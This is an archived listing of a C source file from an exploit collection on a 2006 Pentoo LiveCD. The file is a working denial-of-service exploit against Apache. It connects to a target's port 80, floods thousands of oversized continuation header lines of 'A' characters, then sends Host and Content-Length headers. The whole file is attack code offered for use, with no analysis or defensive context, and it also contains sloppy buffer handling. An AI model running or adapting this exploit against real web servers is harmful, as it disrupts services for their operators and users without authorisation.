home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apacheEscapeHeaderD0SExploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  72 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/wait.h>
  4. #include <sys/types.h>
  5. #include <netinet/in.h>
  6. #include <sys/socket.h>
  7. #include <errno.h>
  8. #include <string.h>
  9. #include <unistd.h>
  10.  
  11. #define A 0x41
  12. #define PORT 80
  13.  
  14. struct sockaddr_in hrm;
  15.  
  16. int conn(char *ip)
  17. {
  18.         int sockfd;
  19.         hrm.sin_family = AF_INET;
  20.         hrm.sin_port = htons(PORT);
  21.         hrm.sin_addr.s_addr = inet_addr(ip);
  22.         bzero(&(hrm.sin_zero),8);
  23.         sockfd=socket(AF_INET,SOCK_STREAM,0);
  24. if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr)))<0)
  25.         {
  26.                 perror("connect");
  27.                 exit(0);
  28.         }
  29. return sockfd;
  30. }
  31. int main(int argc, char *argv[])
  32. {
  33.         int i,x;
  34.         char buf[300],a1[8132],a2[50],host[100],content[100];
  35.         char *ip=argv[1],*new=malloc(sizeof(int));
  36.         sprintf(new,"\r\n");
  37.         memset(a1,'\0',8132);
  38.         memset(host,'\0',100);
  39.         memset(content,'\0',100);
  40.         a1[0] = ' ';
  41.         for(i=1;i<8132;i++)
  42.         a1[i] = A;
  43.         if(argc<2)
  44.         {
  45.                 printf("%s: IP\n",argv[0]);
  46.                 exit(0);
  47.         }
  48.         x = conn(ip);
  49.         printf("[x] Connected to: %s.\n",inet_ntoa(hrm.sin_addr));
  50.         sprintf(host,"Host: %s\r\n",argv[1]);
  51.         sprintf(content,"Content-Length: 50\r\n");
  52.         sprintf(buf,"GET / HTTP/1.0\r\n");
  53.         write(x,buf,strlen(buf));
  54.         printf("[x] Sending buffer...");
  55.         for(i=0;i<2000;i++)
  56.         {
  57.                 write(x,a1,strlen(a1));
  58.                 write(x,new,strlen(new));
  59.         }
  60.         memset(buf,'\0',300);
  61.         strcpy(buf,host);
  62.         strcat(buf,content);
  63.         for(i=0;i<50;i++)
  64.         a2[i] = A;
  65.         strcat(buf,a2);
  66.         strcat(buf,"\r\n\r\n");
  67.         write(x,buf,strlen(buf));
  68.         printf("done!\n");
  69.         close(x);
  70.  
  71. }
  72.